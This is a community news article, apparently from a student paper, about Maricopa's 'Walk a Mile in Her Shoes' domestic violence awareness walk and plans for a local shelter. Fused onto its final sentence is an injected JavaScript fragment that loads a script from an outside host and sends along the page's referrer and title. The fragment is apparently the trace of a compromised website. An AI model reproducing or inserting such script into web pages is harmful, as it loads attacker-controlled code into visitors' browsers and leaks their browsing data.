Walk A Mile in Her Shoes


Melissa Sikes, Cactus Staff Writer

Start the race, stop the violence. October is Domestic Violence Awareness Month and in honor of those who face or have faced domestic violence, the city of Maricopa held an event; Walk a Mile in Her Shoes, in which members of the community could participate and, “walk a mile in her shoes.”

The event, held on October 15th from 6p.m. to 8p.m. at the Copper Sky Pavilion, consisted of informational tables for not only abused women, but also abused men and troubled teens. Just before the walk began, the Police Chief, Steve Stahl, gave a motivational speech to the attendees. Within his speech, he stated, “Every [domestic violence] situation is different. We want to show the community, as the city of Maricopa, we want to walk with you through this journey [to end domestic violence].”

Chaplain Paul Ellis and Mary Witkofski, began the walk, leading the participants a mile around the lake. Along the way, the walkers tied ribbons to several trees in the park. The ribbons represented the three hundred domestic violence reports in Maricopa from January to October this year. As they walked around the track, they were greeted with inspirational sayings, like “Break the Silence,” and “Stop the Violence.”

The point of the walk was for men to wear high heels and while many men did not stand to the occasion, one young boy did. Jacob Vonderheide, an attendee at the event, proudly strutted his way around the entire track. When asked for comment, he exclaimed, “The heels were a pain!” True that, little man. True that.

At the end of the purple trail, rested an alluring Chipotle feast. A reward for completing the walk.

I spoke with one of the event organizers, Tori Anderson with Against Abuse Inc., and asked her how she felt about the turn out, she stated, “I’m excited about the turnout. It was a great opportunity for the community to come together for the cause.” She let us know about some upcoming events. On February 28th, 2015, the Harrah’s casino will host the Seeds of Change Gala to fundraise for the shelter.

They have been fundraising for ten years to get a women and childrens’ shelter here in Maricopa and it was finally made possibly by a grant awarded to the cause by Ak-Chin. They have recently selected a location for the shelter, La Casa de Paz Maricopa, and hope to break ground on this sanctuary soon.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;